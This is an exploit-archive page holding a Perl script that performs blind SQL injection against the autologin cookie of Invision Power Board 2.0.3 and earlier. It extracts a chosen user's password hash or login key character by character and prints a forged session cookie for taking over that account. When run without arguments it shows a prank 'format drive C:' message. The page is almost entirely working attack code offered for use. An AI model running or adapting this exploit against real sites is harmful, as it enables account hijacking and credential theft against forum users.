Invision Power Board <= 2.0.3 Login.PHP SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                #!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by &#34;Tony Little Lately&#34; and &#34;Petey Beege&#34;
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua-&#62;agent(&#34;Mosiac 1.0&#34; . $ua-&#62;agent);

if (!$ARGV[0]) {$ARGV[0] = &#39;&#39;;}
if (!$ARGV[3]) {$ARGV[3] = &#39;&#39;;}

my $path = $ARGV[0] . &#39;/index.php?act=Login&CODE=autologin&#39;;
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print &#34;The type of the file system is NTFS.\n\n&#34;;
        print &#34;WARNING, ALL DATA ON NON-REMOVABLE DISK\n&#34;;
        print &#34;DRIVE C: WILL BE LOST!\n&#34;;
        print &#34;Proceed with Format (Y/N)?\n&#34;;
        exit;
}

my @charset = (&#34;0&#34;,&#34;1&#34;,&#34;2&#34;,&#34;3&#34;,&#34;4&#34;,&#34;5&#34;,&#34;6&#34;,&#34;7&#34;,&#34;8&#34;,&#34;9&#34;,&#34;a&#34;,&#34;b&#34;,&#34;c&#34;,&#34;d&#34;,&#34;e&#34;,&#34;f&#34;);

my $outputs = &#39;&#39;;

for( $i=1; $i &#60; 33; $i++ )
{
        for( $j=0; $j &#60; 16; $j++ )
        {
                my $current = $charset[$j];
            my $sql = ( $iver &#60; 2 ) ?  &#34;99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*&#34; :
&#34;99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*&#34;;
                my @cookie = (&#39;Cookie&#39; =&#62; $cpre . &#34;member_id=31337420; &#34; . $cpre . &#34;pass_hash=&#34; . $sql);
                my $res = $ua-&#62;get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = &#39;&#60;title&#62;(.*)Log In(.*)&#60;/title&#62;&#39;;

                $_ = $res-&#62;content;

                if ($dbug) { print };

                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print &#34;$current\n&#34;;
                    last;
                }

        }
  if ( length($outputs) &#60; 1 )   { print &#34;Not Exploitable!\n&#34;; exit;     }
}
print &#34;Cookie: &#34; . $cpre . &#34;member_id=&#34; . $user . &#34;;&#34; . $cpre . &#34;pass_hash=&#34; . $outputs;
exit;

# milw0rm.com [2005-05-26]
JSON